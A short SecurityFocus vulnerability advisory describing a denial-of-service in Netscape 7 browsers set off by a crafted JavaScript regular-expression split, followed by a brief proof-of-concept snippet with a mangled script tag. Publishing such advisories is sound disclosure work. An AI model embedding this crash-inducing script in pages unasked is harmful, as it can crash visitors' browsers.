source: https://www.securityfocus.com/bid/6959/info
It has been reported that Netscape based browsers may be vulnerable to a denial of service condition when executing certain JavaScript methods.
If a malicious page containing a specially crafted JavaScript regular expression method is viewed the browser reportedly becomes un-stable this may result in the critical failure of an affected browser.
This vulnerability was reported for Netscape version 7. It is not known if previous versions are also affected.
test
<--script-- language="JavaScript">
function reformatDate(someDate) {
var tokens = someDate.split(/(\/|-)/);
if (tokens[1].length == 1) tokens[1] = "0" + tokens[1];
if (tokens[0].length == 1) tokens[0] = "0" + tokens[0];
var result = tokens[2] + tokens[1] + tokens[0];
alert(result);
//return result;
}